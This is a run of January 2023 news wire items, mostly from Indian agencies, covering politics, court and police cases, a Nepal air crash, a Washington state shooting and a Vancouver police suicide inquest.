Assam Chief Minister Himanta Biswa Sarma has alleged that Left-minded intellectuals, who have written history, consciously ignored the contributions of Netaji Subhas Chandra Bose, to the freedom struggle of India. While speaking at a function held celebrate Bose's birth anniversary on Monday in Guwahati, Sarma said that Netaji Subhas Chandra Bose as a personality symbolised patriotism and nationalism of the highest order and that his contributions towards the nation's freedom struggle were immense and incomparable. "But contributions of Netaji towards India's freedom struggle were either consciously or subconsciously downplayed by the Left-minded intellectual circles and contemporary historians," Sarma said. The Chief Minister claimed that Prime Minister Narendra Modi has been relentlessly trying to undo such historical wrongs through initiatives such as installation of the 28-feet tall black-granite statue of Bose near the India Gate. According to Sarma, Indian soldiers in the British army had backed the British rather than the Congress during the liberation movement because they were disciplined warriors. The British realised they would have to concede independence when the Indians in their armed forces revolted. When Clement Atlee, the former British prime minister, visited Kolkata in 1956, he brought up the subject with P.V. Chakravartti, the first Indian Chief Justice, Sarma claimed. He mentioned, "Clement had remarked that Netaji's popularity and the Indians' in the British army joining the INA' which finds a mention in his book History of Bengal' was what had persuaded the British to grant independence to India when Chakravartti asked about it." "This was only possible because of Netaji's efforts and sacrifices, but the historians who wrote the history of Independence, primarily those who adhere to the Left ideology, did not acknowledge this and withheld his contribution from the people," Sarma claimed. The Chief Minister also showered praises on Subhas Bose for his role in preserving the cultural and political hegemony of the indigenous communities of northeast countering designs of altering the demography of the region by certain quarters with vested interests. --IANS tdr/arm ( 345 Words) 2023-01-23-22:42:02 (IANS)
Photo: The Canadian Press Jennifer Chan, front left, the sister of late Vancouver Police Const. Nicole Chan, who died by suicide in 2019, leaves a coroner's inquest, in Burnaby, B.C., on Monday, Jan. 23, 2023. THE CANADIAN PRESS/Darryl Dyck

In the weeks before Vancouver police Const. Nicole Chan died by suicide, she detailed her anguish that a senior officer had "taken advantage" of her in an imbalance of power" while she was severely depressed.

"If I brought this incident upon myself, I would be accountable for everything that happened. But, I was sick and taken advantage of by a senior officer handling my file," Chan wrote in a victim impact statement about Sgt. David Van Patten, dated Jan. 7, 2019.

The statement was released Tuesday on the second day of a coroner's inquest into Chan's death.

Her sister, Jennifer Chan, told the inquest Monday that Nicole Chan was sexually assaulted and extorted by Van Patten.

In her victim impact statement, which remains unsigned, Chan said she was already suffering from mental health challenges, but the incident aggravated her condition, stalled her career and affected her ability to maintain relationships.

"This incident has changed who I am as a person," the statement said. "I was betrayed, coerced and taken advantage of by somebody whom I respected and looked up to."

She wrote that she hoped it was clear "that Dave is not someone who should have the privilege of continuing as a police officer."

"I am only one person, but this has ruined my personal and professional life. Please help me be a survivor and not another victim. I am suffering but I still have the will to fight for this."

She concluded her statement with a plea to "help me get some justice."

"They say the world is not fair, but as officers, isn't justice what we fight for?"

Chan died by suicide three weeks later on Jan. 27, 2019.

Sgt. Cindy Vance, a former VPD human resources officer, told the coroner's inquest Tuesday that Chan had a history of mental health issues and potential suicide attempts before inappropriate relationships with two senior officers, including Van Patten.

Vance said she had put together a timeline of Chan's HR complaints. During her hiring process, Chan disclosed that she had consumed 30 to 40 Tylenol in 2006, when she was 17 years old, Vance said.

Vance also testified about a 2012 car crash in Port Moody, B.C., that "triggered a concern that Ms. Chan might be suicidal." It resulted in her being arrested and brought to a hospital under the Mental Health Act, Vance said.

She was also asked about another incident where Chan was identified as a potential missing person, and was later found at a Washington motel. Vance said Chan's HR file indicates she went on sick leave two days after being located.
The Supreme Court on Monday expressed discontent over the delay in the creation of infrastructure for special courts in Bihar to deal with cases under the Bihar Prohibition and Excise Act. A bench, headed by Justice Sanjay Kishan Kaul, noted that in 2016, the law was passed but the state government is yet to allocate land for infrastructure for the special courts. The bench asked the state government counsel why the state does not encourage plea bargaining, in view of lack of infrastructure. Why not release all accused, booked under the prohibition law, on bail till the necessary infrastructure is created for the trial, it asked counsel. The bench, also comprising Justice Abhay S. Oka, told senior advocate Ranjit Kumar, representing the Bihar government: "Why can't we grant bail to all the accused booked under the offences specified in the law? Why don't you vacate the government buildings for the courts?" Citing the pendency of cases which burdens the judiciary, the bench said over 3.78 lakh criminal cases have been registered under the law but only over 4,000 have been disposed of, and pointed out "this is the problem, you pass the law without even looking at its impact on the judicial infrastructure and the society". Citing one of the sections of the Act, the bench said as far as the power for imposing a penalty for consumption of liquor is concerned it is okay, but it is concerned with the power of imposing sentence on the accused by the executive magistrate. Advocate Gaurav Agrawal, the amicus curiae in the matter, said the high court has expressed its reservation about the conferment of powers on executive magistrates. Kumar said that the rate of disposal of cases under the Act has increased as recruitment of several judicial officers has been made. The bench granted one week to the state government counsel to seek necessary instruction on the issue as to what could be done in the matter. Also, all the aspects connected with the matter -- creation of the necessary infrastructure to the conferment of powers on executive magistrates to deal with cases under the law -- will be examined, added the bench. The top court made these observations while hearing a matter relating to the prohibition law, which came into force in Bihar in 2016. --IANS ss/vd ( 405 Words) 2023-01-23-22:44:02 (IANS)
Three special observers of the Election Commission arrived in Tripura on Monday to review February 27 poll preparedness and security arrangements, officials said. The three Special Observers are Yogendra Tripathy, retired IAS officer of Karnataka cadre, Vivek Johri, former Director General of Police of Madhya Pradesh, and B. Murali Kumar, IRS officer, who was Special Observer in Assembly elections of Gujarat (2022) and West Bengal (2021). The EC observers would hold separate meetings with senior civil and police officials including District Magistrates and Superintendents of Police of all eight districts. After Tripura, the special observers would go to poll-bound state Meghalaya, where elections would be held on February 27. Besides the special observers, the EC also appointed five other categories of observers - general observers, police observers, expenditure observers, micro observers in each polling station and counting observers. The poll panel has so far deployed around 200 companies of Central Armed Police Force (CAPF) in Tripura and more CAPF comprising Assam Rifles, Border Security Force, Central Reserve Police Force, Central Industrial Security Force companies are expected to come in the state. "The flag marches by the CAPF have already started since the second week of this month to ensure confidence building among the political workers for campaigning and among the citizens to cast their votes freely without any fear. The security forces are deployed well before the poll process so that they get familiar with the locality. Local police should extend necessary cooperation to the CAPF," an EC official said. The EC on January 19 ordered an inquiry into attacks on a Congress bike rally in Majlishpur Assembly constituency in West Tripura district and next day asked the state government to suspend a Sub-Divisional Police Officer (SDPO) and remove two Officer-in-Charge (OCs) of two police stations. --IANS sc/vd ( 312 Words) 2023-01-23-22:48:03 (IANS)
The accused were identified as Alok, Yogender, Karan, and Seelu. Police said that a minor altercation had led to the incident.

A senior police official said that on January 21, they got a PCR call regarding attempt of kidnapping of a man by four persons at Jagatpur village in Wazirabad.The caller said that the victim Pankaj Chauhan was being beaten badly by the accused.

A police team was sent to the crime scene, found Chauhan and took him to a nearby government hospital where he was medically examined.

The police also recorded his statements and Chauhan said that he was beaten by Alok and others with an iron rod.

"After beating him, all four tried to kidnap him after pushing him in the car. On his statement, a case under Sections s365/308/34 of the IPC was registered," police said.

--IANS atk/vd

( 179 Words)

2023-01-23-22:52:03 (IANS)
The Central Bureau of Investigation (CBI) has summoned Kadapa MP Y.S. Avinash Reddy for questioning in his uncle and former Andhra Pradesh minister Y.S. Vivekananda Reddy's murder case. Avinash Reddy, a cousin of Andhra Pradesh Chief Minister Y.S. Jagan Mohan Reddy, has been asked to appear before CBI officials in Hyderabad on Tuesday. The YSR Congress Party (YSRCP) MP, however, is reported to have conveyed his inability to appear on January 24 due to his busy schedule in Pulivendula and has sought another date. He assured the central agency that he will fully cooperate with it in the investigation. The CBI served the notice on the day when it conducted search at the offices of Avinash Reddy and his father Bhaskar Reddy. Vivekananda Reddy, uncle of Chief Minister Jagan Mohan Reddy, was found murdered at his residence in Kadapa on March 15, 2019, a few days before the election. The 68-year-old former state minister and former MP was alone at his house when unidentified persons barged in and killed him. He was killed hours before he was to launch YSR Congress Party's election campaign in Kadapa. Though three Special Investigation Teams (SITs) conducted the probe, they failed to solve the mystery. The CBI took over the investigation into the case in 2020 on the direction of Andhra Pradesh High Court while hearing a petition of Vivekananda Reddy's daughter Sunitha Reddy, who raised suspicion about some relatives. The CBI filed a charge sheet in the murder case on October 26, 2021 and followed it up with a supplementary charge sheet on January 31, 2022 In November, 2022, the Supreme Court transferred to a CBI court in Hyderabad the trial and probe into the larger conspiracy behind the murder. The apex court observed that doubts raised by Sunitha Reddy about getting a fair trial and investigation in Andhra Pradesh were reasonable. --IANS ms/vd ( 323 Words) 2023-01-23-23:06:03 (IANS)
After three weeks when the first meeting of the newly-elected Councillors were adjourned because of the heated argument over the oath of Aldermen, the Councillors will meet again at the Municipal Corporation headquarters to elect the Mayor of the capital city on Tuesday. Both the main stakeholders of the MCD -- the BJP and the Aam Aadmi Party -- have been putting in maximum efforts to get the Mayor and maximum members in the Standing Committee from their own party. The AAP has fielded Shelly Oberoi and the BJP has fielded Rekha Gupta for the post of Mayor, while AAP's Aaley Mohammad Iqbal and BJP's Kamal Bagri will fight for the deputy mayoral's post. The house is scheduled to begin from 11 a.m. at the Civic Centre on Tuesday. As per the agenda list, first the councillors will be sworn in, then the aldermen, after that the Mayor, the Deputy Mayor and finally the six members of the standing committee will be elected. Reacting to MCD agenda, AAP MCD In-charge Durgesh Pathak said that the party agrees with the agenda. He said, "AAP completely agrees with MCD's agenda list, but we request BJP to abide by it too. Tomorrow, on January 24, all our councillors will participate in the House in line with the agenda list." ---IANS avr/arm ( 231 Words) 2023-01-23-23:16:03 (IANS)
BJP President J.P. Nadda on Monday said that his party is the only national party left in India as all others, including the Congress and several regional outfits, have become "family parties". Addressing the BJP Rajasthan State Working Committee meeting here, he attacked the Congress over its Bharat Jodo Yatra, alleging that those who raised slogans against India are walking in it. Nadda also said that in 2023, the BJP will form a government in Rajasthan with a three-fourth majority under the leadership of Prime Minister Narendra Modi. Congratulating the state leadership and their entire team for the successful organisation of Jan Aakrosh Yatra and Jan Aakrosh meetings, he said: "We have to maintain this mission and continuity of such campaigns." Nadda claimed that the condition of Rajasthan is the worst under the Ashok Gehlot-led Congress government under which the graph of crime against women, and Dalits and cyber crime is rising rapidly, while the continuous increase in the prices of electricity, petrol and diesel left the common man of the state troubled. He said that the BJP was "not just a political organisation but also a party working for social concerns with human aspect and the whole of India and the whole world saw the social face of the party during the Corona period as it served food, ration, water etc. to the needy across the country". "Along with politics, the social side of the BJP also came in front of the whole world through service. Our party is a party with ideas, we work with politics with mission, politics with ideology, service to the country, party and ideology are paramount for us. "There is democracy in our party and we work for the strength of the cadre in a democratic way, BJP is the only national party, all other parties have become family parties, Congress is completely finished, and regional parties have also become family parties," he claimed. Attacking the Congress over its Bharat Jodo Yatra, Nadda alleged: "Congress doesn't know whom they are uniting, or breaking, in the entire journey of Rahul Gandhi. The same people who shouted slogans against India and made conspiracies against India are walking besides him." He said that the Narendra Modi government gave 22 medical colleges to Rajasthan, while the Delhi-Mumbai Expressway will spur development of all its districts, and through the Har Ghar Nal and Har Ghar Jal Abhiyan, it has ensured that pure drinking water is delivered to crores of households in the country, including Rajasthan. BJP national General Secretary and state incharge Arun Singh, state chief Satish Poonia, national Vice President Vasundhara Raje, national Secretary and state co-in charge Vijaya Rahatkar, state General Secretary, Organisation, Chandrashekhar, and other senior leaders were present. --IANS arc/vd ( 466 Words) 2023-01-23-23:26:02 (IANS)
A man was arrested after he allegedly misbehaved with an air hostess on a Delhi-Hyderabad SpiceJet flight on Monday. Two passengers travelling together were offloaded and handed over to police at IGI Airport after they allegedly misbehaved with an air hostess. However, the police arrested one man. The accused has been identified as Absar Alam and an FIR has been registered under IPC. In a purported video of the incident, which surfaced on social media, the accused is seen shouting at a cabin crew member. Another passenger is seen siding with the accused. Few passengers are also seen trying to intervene and stop the argument. The video was allegedly shot by one of the passengers on a Delhi-Hyderabad flight. Absar Alam, the accused passenger on the Delhi-Hyderabad SpiceJet flight who misbehaved with a female crew member onboard the flight has been arrested after a complaint from a SpiceJet security officer. A case has been filed as well Meanwhile, SpiceJet in a statement said, "During boarding at Delhi, one passenger behaved in an unruly and inappropriate manner, harassing and causing disturbance to cabin crew. The crew informed PIC (Pilot in Command) and security staff of the same. The said passenger and a co-passenger, who were travelling together, were offloaded and handed over to the security team." (ANI)
Union Home Minister Amit Shah on Monday said that Prime Minister Narendra Modi is working towards making the Andaman and Nicobar Islands "self-reliant". While addressing 'Iconic Events Week' in Port Blair, Shah said, "MHA has organised events at all major locations associated with him to mark the 126th Birth Anniversary of Netaji...He made a huge attempt to free India by establishing the Azad Hind Fauj." "I want to assure the citizens of Andaman and Nicobar islands that PM Modi is working towards making the islands self-reliant," Shah added. On Monday, Shah arrived at Port Blair Veer Savarkar International Airport of the Andaman and Nicobar Islands to participate in the celebrations of the 126th birth anniversary of Netaji Subhas Chandra Bose. Shah arrived at the Andaman and Nicobar Islands as a chief guest to culminate the 'Azadi Ka Amrit Mahotsav Iconic Events Week' that was held from January 17 to 23 in Port Blair. On Monday (early hours). These events were organized in collaboration with the Central Armed Police Forces and Central Police Organisations, the Andaman and Nicobar Islands Administration, and the State Governments of Manipur, Nagaland, Gujarat, Odisha, and West Bengal at locations which are related to Netaji's life and work. According to an official statement from the Home Ministry dated January 16, an array of activities celebrating Netaji's immense contribution to India's freedom struggle were planned to be held throughout the week at Mantripukhri, Keithalmanbi, Kangvai, Moirang, and Nambol in Manipur on January 17; Ruzazho and Chesezu Villages, Kohima in Nagaland on January 18; Gujarat's Haripura, Bardoli, and Surat on January 19; Odisha's Cuttack on January 20 and in West Bengal on January 21. The Ministry of Home Affairs' Iconic Events Week is an ode to the life and contributions of Netaji Subhas Chandra Bose in India's struggle for freedom. It is a remembrance of his high ideals and a moment for all the country to draw inspiration from the lives of our freedom fighters. The day, January 23 is also marked as Parakram Diwas to commemorate the birth anniversary of Netaji Subhas Chandra Bose. Prime Minister Narendra Modi will be participating in an event via video conferencing to name the 21 largest unnamed islands of Andaman and Nicobar Islands after 21 Param Vir Chakra awardees. "Tomorrow, on the day of bravery, there will be a special program in honour of the heroic children of Mother India. Will be a part of it through video conferencing at 11 am. During this, 21 largest unnamed islands of Andaman-Nicobar will be named after 21 Param Vir Chakra winners," PM Modi said in a tweet on Sunday. The PMO further informed that PM Modi will also unveil the model of the National Memorial dedicated to Netaji to be built on Netaji Subhas Chandra Bose Dweep. Born on January 23, 1897, Netaji played a crucial role in India's freedom movement. Subhash Chandra Bose established the Azad Hind Fauj. While there is a controversy over Bose's death in a plane crash in Taipei on August 18, 1945, the Central government had in an RTI (Right to Information) in 2017 confirmed that he had died in the incident. Last year, on the occasion of Netaji's 125th birth anniversary, PM Modi unveiled the hologram statue of the freedom fighter at India Gate in Delhi. (ANI)
As many as three boxes with crores of rupees destined for Kochi were recovered at the airport in the national capital.

The police raided the office of a courier company in Sadar Bazar and detained two of its employees.

The source of the cash was yet to be ascertained.

Further details are awaited. (ANI)
Self-styled godman Dhirendra Shastri, also known as Bageshwar Dham Sarkar, has received death threats, informed police officials on Tuesday. Dhirendra Shastri received the threats over the phone. The accused is yet to be identified, they added. "A case under section 506, 507 of the Indian Penal Code was registered against an unknown person in Chhatarpur's Bamitha police station," said Superintendent of Police (SP) Sachin Sharma. Dhirendra Shastri hit headlines after his controversial remark saying "support me and I will give you a Hindu nation". Shastri said that India is such a country where even poet Tulsidas who wrote the "Ramcharitmanas" had to face challenges, adding, "Any priest, cleric or person who challenges Sanatan Dharma will get the reply. But then I am saying, you support me, I will give the Hindu nation". On January 20, a Maharashtra-based organisation challenged him to display his power by performing miracles at an event in Nagpur. Responding to the challenge, Shastri told ANI in Raipur, "Such people will keep coming. We do not operate within closed doors. They (people who have challenged him) should come and see for themselves. Anyone can challenge my words and actions on camera. Lakhs come and sit in the court of Bageshwar Balaji. Whatever inspires me, I will write and what I write, will turn out to be true. I have faith in my God." On the chit in which he writes about what the future holds for his devotees, Shastri said, "I have acquired the skill by the grace of God, our Gurus and the power of the mantras of Sanatan Dharma." "Everyone should experience it. This is the proclamation of Satya Sanatan Dharma," he added. On whether action should be taken against people tarnishing his image and questioning his powers, he said, "They have tarnished my image. The people of Bageshwar Dham will give them a fitting reply. Anyone speaking against Sanatan Dharma will be boycotted." On alleged religious conversions, Shastri said, "We are making Hindus return to the religion they acquired at birth. Some people are creating a nuisance. They have to be taught a lesson. As long as I am alive, I will make all Sanatani Hindus return to their original faith." (ANI)
Photo: The Canadian Press A Yakima, Wash., SWAT MRAP vehicle is parked on West Birchfield Road in Yakima near the intersection with South Keys Road on Tuesday, Jan. 24, 2023. Yakima SWAT responded to the reported location of a suspect in a fatal shooting at a convenience store. (Emree Weaver/Yakima Herald-Republic via AP)

Authorities closed portions of several roads Tuesday as they searched for the suspect in an apparently random shooting at a Yakima, Washington, convenience store that left three people dead.

Yakima police Chief Matt Murray said officers found the victims dead at the Circle K convenience store about 3:30 a.m. Murray said police have security camera video and eyewitnesses from the store.

There was no apparent conflict between the parties, Murray said during a news conference. "The male just walked in and started shooting.

Police did not immediately release additional details about the victims but said the suspect  identified as 21-year-old Jarid Haddock, of Yakima County  should be considered armed and dangerous. He drove away in a gray or silver sedan, possibly a Chrysler 200, heading toward the suburban community of Moxee on Highway 24, Murray said,

This is a dangerous person and its random, so there is a danger to the community, Murray said. We dont have a motive.

The attack is yet another outbreak of violence in the early weeks of 2023 as the U.S. suffers a wave of mass killings that has claimed dozens of lives.

Police converged on a home across a road from a storage facility on the outskirts of the city of nearly 100,000 residents about 140 miles (225 kilometers) southeast of Seattle. Court records listed a home in the area as a previously known address for Haddock.

Haddock appeared to have little criminal history. He was arrested in March 2020 after police saw him in a car that had been stolen from a woman who had left it running; he ran from officers who pulled him over, according to charging documents filed in Yakima County Superior Court, and he reported being homeless.

He successfully completed a diversion program, despite twice violating its terms by using methamphetamine or heroin, and the charges were dismissed in December 2021.

At Yakima Riverside Storage, across the street from the SWAT response, receptionist Tabitha Johnson said she was taking the unusual precaution of locking the doors, which she can monitor through windows and security cameras.

Its quite scary, but Yakima isnt new to shootings, the 39-year-old said.

A Yakima Police Department spokesperson did not immediately return a message from The Associated Press seeking additional information.

When officers responded to the Circle K, they also found a second shooting scene at an ampm convenience store across the street, Murray said. Police initially believed that the shooter fired into a nearby car, possibly injuring a person inside before stealing the vehicle and fleeing, but the Police Department later said it appeared the gunman had fired into his own car, possibly after being locked out of it.
Family members of the deceased brought the bodies by road.

Sonu Jaishwal, Anil Rajbhar, Abhishek Kushwaha and Vishal Sharma were among five Indians who were killed in the incident. District administration and police forces are present on the spot.

The doctors in Nepal on Sunday identified the bodies of Anil Kumar Rajbhar and Abhisekh Kushwaha on the basis of evidence provided by the families of the victims.

At least 70 people were killed when a Yeti Airlines passenger plane with 72 people on board, including five Indians, crashed into a river gorge while landing at the newly-opened airport in central Nepal's resort city of Pokhara on January 15.

Kathmandu Post earlier quoted Sudarshan Bartaula, a spokesperson of Yeti Airlines as saying that the ATR 72 Yeti airlines aircraft crashed between the old airport and the Pokhara International Airport.

Earlier, the black box of the Yeti Airlines aircraft was handed over by the Nepal Army to Civil Aviation Authority officials.

The Nepal Army also handed over the flight data recorder, following the crash. The twin-engine ATR 72 aircraft from Kathmandu crashed in Pokhara minutes before touch-down. A total of 70 bodies have been recovered so far from the site of the crash.

The twin-engine turboprop ATR 72 plane crashed en route from Kathmandu to Pokhara. (ANI)
Delhi Deputy Chief Minister Manish Sisodia on Tuesday accused Lieutenant Governor V K Saxena and the chief secretary of issuing prosecution sanctions by bypassing the city government. He further said that both have created a situation where many people accused of committing serious offences against the state might go scot-free. He alleged that such a situation in the national capital has arisen due to the "over-enthusiasm" of LG Saxena and the Chief Secretary to "bypass the elected government, against the IPC. "Section 196 of the IPC says that in the case of crimes committed against the state, no court shall take cognizance of any such case without the approval or sanction of the state government and according to the Law department of Delhi government, the state government means Delhi government. Many serious crimes fall under this category. This means that the Minister-in-charge is the competent authority and the minister's approval was supposed to be taken in all these cases. After taking Minister's approval, the file would be sent to Hon'ble LG to decide whether he differed from the decision of the Minister and whether he would like to refer it to the President of India," he elaborated in the statement. Sisodia further accused the Delhi LG of "illegally authorising" Prosecution Sanctions. "Due legal process was being followed for decades but since last few months, the Chief Secretary is sending prosecution sanction files directly to LG against provisions of criminal laws. Because LG is illegally authorising Prosecution Sanctions, those accused of crimes against the state will be freed of the charge on technical grounds in the court," Sisodia claimed in an official statement. According to the statement, Delhi's Deputy Chief Minister Manish Sisodia who is the Minister-in-charge has directed the Chief Secretary to place a list of all such cases before him by 5 pm on Wednesday in which approval was not taken from the Minister. Sisodia's office also said that LG's actions "undermine" not only the law laid down by the Supreme Court which directs LG to be bound by the aid and advice of the Council of Ministers but also the sanctity of the judicial process. "According to SC orders, it is the elected Government that has to exercise executive powers to issue a valid sanction for prosecution Under Section 196(1) CrPC, and Hon'ble LG will be bound by the aid and advice of the Council of Ministers. The actions of the Hon LG undermines not only the law laid down by the Hon'ble Supreme Court but also the sanctity of the judicial process which is being set in motion only to fail in as much as a valid sanction is a necessary pre-requisite for legally sustainable prosecution of offences referred to above," the statement said. (ANI)
"A human skeleton has been recovered at Indore's airport premises on Monday night. A thorough investigation is underway," Aerodrome police-in-charge Sanjay Shukla told ANI.

The police official said that the skeleton will be sent for examination by Forensic Science Laboratory (FSL)

As per the preliminary investigation, the skeleton appears to be a year old, the police official said. "We can not tell if the skeleton is of male or female. We will send the remains for examination." (ANI)
A day after Digvijaya Singh asked the government for proof of the 2019 surgical strike against Pakistan, Congress president Mallikarjun Kharge on Tuesday distanced himself from his party colleague's statement and said the Congress stands with the Indian Army and had immense respect for the Army. "Congress has already released an official statement in the matter. They have clearly stated their stance on the same," Kharge said. "We have already clarified that the party stands with the Army. We have always been working for the country and will keep doing the same. We have immense respect for our Army," Kharge said. Addressing a press conference in Jammu today Congress MP Rahul Gandhi also distanced himself from the former Madhya Pradesh Singh's remarks. "We don't appreciate Digvijaya Singh's personal views. His views are outlying views. We are absolutely clear that the Armed Forces do their job exceptionally well and they do not need to provide proof of that," the Congress MP said. Digvijay Singh had on Monday said that while the BJP government at the Centre claims to have carried out a surgical strike against Pakistan, there was no proof of it. "They (Centre) talk about surgical strikes and that they have killed so many of the terrorists but there is no proof," Singh had said in his address in Jammu during the ongoing Bharat Jodo Yatra. "Surgical strikes were carried out before 2014 by (Congress-led) UPA government. Congress has supported and will continue to support all military actions in national interest," Jairam Ramesh said. The former Madhya Pradesh chief minister also earlier today attempted to put an end to the row. "I have got the greatest regard for the Defence forces" as Singh marched on along with other padayatris. On February 14, 2019, a CRPF convoy was attacked by militants in Kashmir's Pulwama, in which 44 Indian jawans lost their lives. Striking back, on February 26, 2019, Indian Air Force fighter jets targetted an advanced terror training camp of Jaish-e-Mohammed in Pakistan's Balakot. (ANI)
Bharatiya Janata Party (BJP) MLA Rashmi Verma has been booked on alleged theft charges in Bihar's West Champaran district, the police said on Tuesday. The MLA from Narkatiaganj has been accused of barging into college premises and walking away with important documents, along with her supporters, officials said. Abhay Kant Tiwari, the college principal, lodged a complaint at Shikarpur police station against 25 people, including Verma, on the basis of which a case was registered, the police said. The complainant, Tiwari, told the police that he went to Patna to meet an advocate for a case on January 17 and the charge was given to another faculty Vivek Pathak. "I was informed that a group of people headed by Narkatiaganj MLA Rashmi Verma entered the college premises. As they were in large numbers, Vivek Pathak escaped from the college to save his life. Verma's supporters entered every room, broke open the cupboards, and took away valuable documents," Tiwari said in his complaint Shikarpur police. Based on his complaint, a case has been registered against MLA and other people involved. "We have received a complaint and lodged FIR (FIR number 53/27) against MLA and other people involved," Narkatiaganj Shikarpur police station officials told ANI. MLA Rashmi Verma however refuted the allegations and said that she was unaware of any complaint against her. "I didn't receive any FIR copy. I don't know why a police complaint was lodged against me. If anyone complains against me at the police station then it's the police's duty to ask me first and then file an FIR," Rashmi Verma said while speaking to ANI. (ANI)
Being a vast country with diverse terrains and geographies, India can have its own model for disaster or emergency response which can be emulated by other countries, Union Minister for Health and Family Welfare, Dr Mansukh Mandaviya said during his address at the consultative workshop on National Emergency Medical Team (NEMT) India, here today, an official statement informed. Dr Mandaviya added that "While it is important to learn from global best practices and follow Standard Operating Procedures (SOPs), let us learn from the national examples of emergency and disaster response in the past few decades and enrich our model from learning and insights from these. The multi-sectoral and multilayered learning need to be incorporated in the training and capacity building modules of the national architecture of emergency response and management". He further stressed that "The India model can go beyond the prescribed SOPs and be more flexible and agile to respond to exigencies on the ground". "The purpose of the two days workshop is to bring together all stakeholders of the NEMT initiative to deliberate on the policy, strategy, roles and responsibilities of the initiative and prepare a roadmap for integrating the needs of the country for disaster preparedness aligning the health needs during disaster situation in concordance with standard disaster response," Mandaviya said in an official statement. "Health emergencies prevention, preparedness and responses form one of the priority areas under the G20 Health Track agenda. This is the first meeting soon after the G20 Health Working Group meeting in Thiruvananthapuram, Kerala between January 18 and 20, it added. Union Health Secretary Rajesh Bhushan emphasized the importance of collaboration with multiple building blocks in existence including the NDMA, NDRF, state agencies, emergency service providers, trauma centres etc. Noting as these largely work presented in a fragmented state, he highlighted the crucial need for synergizing efforts between them to ensure agility and rapid and effective response. "The National Emergency Medical Team (NEMT) initiative aims to revamp the traditional responsive mode of healthcare manpower deployment in response to disasters and public health emergencies. EMT is defined as a group of healthcare professionals providing direct clinical care to populations affected by outbreaks and emergencies as surge capacity in supporting the local healthcare system," the statement added. "During any emergency or disaster, the core capacities required to prepare for and mitigate the impact of any public health emergency remain largely the same. For the deployed teams to be effective, they are required to be formally trained and equipped not only in terms of clinical skills but also in terms of on-field coordination with other stakeholders on-field. Globally it has been seen that such EMTs need to be trained, standardized and quality assured to give predictable on-ground support to disaster response," it added. The two days workshop will deliberate on four crucial aspects relevant to emergency medical teams, including, system, staff, supplies and structure, it added. (ANI)
Bihar Minister Alok Kumar Mehta on Monday in a letter addressed to the Station Incharge of the Secretariat police station alleged that he received death threats from two people over a call on his registered official mobile number. In his letter, the Minister of Revenue and Land Reforms in the Bihar government claimed that both the callers used casteist slurs and threatened to kill him. According to the Rashtriya Janata Dal (RJD) leader, the name of the first caller appeared to be Deepak Pandey on a mobile app that shows the registered identity of the caller. The second caller's name appeared as Pappu Tripathi on the app, said the minister while submitting the numbers of the callers to the police in the letter. The RJD leader requested the police to take immediate action against the two callers and provide for necessary security and safety. Earlier on Saturday, while speaking at a public meeting in Bihar's Bhagalpur district, Mehta said, "People, who used to toll bells at temples, are now occupying powerful positions. Take Uttar Pradesh Chief Minister Yogi Adityanath for instance." Further, targeting upper caste communities, the minister said 10 per cent of the country's population, who used to be agents of the British Raj, are now running their writ on the remaining 90 per cent comprising disadvantaged and backward communities. "Ninety per cent of our population, which was represented by (former Bihar deputy chief minister) Jagdev Babu, was exploited first by the British Raj and then by their agents, whom Jagdev Babu called 10 per cent," Mehta claimed. Facing a huge backlash on social media, the minister clarified his statements. In a personalised video, Mehta said the 10 per cent that Jagdev Babu talked about are not people of any particular caste but represent a class, which has been exploiting the backward classes and the practice continues to this day. (ANI)
Meerut police said it filed a complaint against unidentified persons on Monday night for allegedly misbehaving with three women from overseas, while they were visiting the Chaudhary Charan Singh University. The police said the complaint was filed on the basis of a viral video in which the unidentified miscreants are purportedly seen misbehaving with the women and questioning the purpose of their visit to the university. Speaking to mediapersons on Tuesday, Meerut's Senior Superintendent of Police, Rohit Singh said, "The three women from overseas were visiting the Chaudhary Charan Singh University. They were speaking in Hindi and someone recorded their conversation and made it viral claiming that they were propagating a particular religion on campus. However, it was nothing but propaganda. A complaint was filed against unidentified persons (seen in the viral video)." Further, according to sources, one of the youths in the viral video was allegedly heard asking the women, "Christianity mein kya hota hain? (What is Christianity all about?)" Further, in the purported video, as the women are seen trying to get away from the youths confronting them, they are heard saying, "Ek hi bnagwan hain, bhagwan Ram (there is only one god, which is Lord Ram)". Later, in the viral video, the men are purportedly heard chanting 'Jai Shri Ram' in front of the women visitors before saying allegedly, "They are Christian missionaries." (ANI)
Attired in specially-designed regal uniforms, first-ever women riders will be participating in this year's Republic Day parade on Kartavya Path as part of the Camel Contingent of the Border Security Force (BSF). Sonal, Nisha, Bhagwati, Ambika, Kusum, Priyanka, Kaushalya, Kajal, Bhawna and Hina would be among those 12 women riders of the BSF Camel Contingent marching from Vijay Chowk to the Red Fort through the traditional route of Kartavya Path during the Republic Day Parade on January 26. Marching atop the camels, these women camel riders belonging to Gujarat, Maharashtra, Rajasthan, Uttar Pradesh and Madhya Pradesh will be donning specially designed regal ceremonial uniforms which represent the many treasured craft forms of India. Assembled by a noted fashion designer, these uniforms will have the iconic Jodhpuri bandhgala, a classic and elegant long tunic. The textured fabric with hand-crafted zardosi work for various trims from Benaras is done in the 400 years-old Danka technique, said the BSF, adding "the uniform is styled with the striking Pagh - a turban, inspired by the heritage Pagh of the Mewar region of Rajasthan." The women Camel Contingent will be among the 16 marching contingents from the armed forces, Central Para Military Forces, Delhi Police, National Cadet Corps, NSS along with 19 military pipes and drums bands in the Republic Day parade this year, which will also witness 27 tableaux of various States, Departments and armed forces. "This is the first time BSF Mahila Camel Riders as part of BSF Camel Contingent will march on Kartavya Path during the Republic Day Parade," said the BSF. MS Kheechee Camel Contingent Commander told ANI that former BSF Director General Pankaj Singh had informed about the participation of women riders in the BSF Camel Contingent Parade on Republic Day celebrations during a video conference last year. "A total of 24 women were trained (for riding on the camel). Of the 24 riders, 12 have been selected to participate in this year's Republic Day parade of BSF Camel Contingent. A total of 12 women riders had also participated in the BSF Raising Day parade," said Kheechee. The officer said around five hours of training was given to these women riders since October last year. Speaking to ANI Ambika, one of the women riders, said "we were given three-month training in Jodhpur (Rajasthan)." "First time, we participated in the BSF Raising Day parade in Amritsar. Now, we are here to participate in the Republic Day parade." The BSF camel contingent has been participating in the Republic Day parade since 1976. The contingent usually comprises 90 camels -- 54 with troops and the rest with band personnel. The Camel contingent is also part of the Beating the Retreat ceremony which is held three days after Republic Day on January 29. It had replaced a similar squad of the Indian Army. As of now, the BSF is the only force in the country to deploy camels for both operational and ceremonial duties. Camels are being used for patrolling along the Thar desert along the India-Pakistan international border in Rajasthan. Of nearly 2.50 lakh personnel in the force, the BSF has around 8,000 women troops including around 140 officers which include subordinate 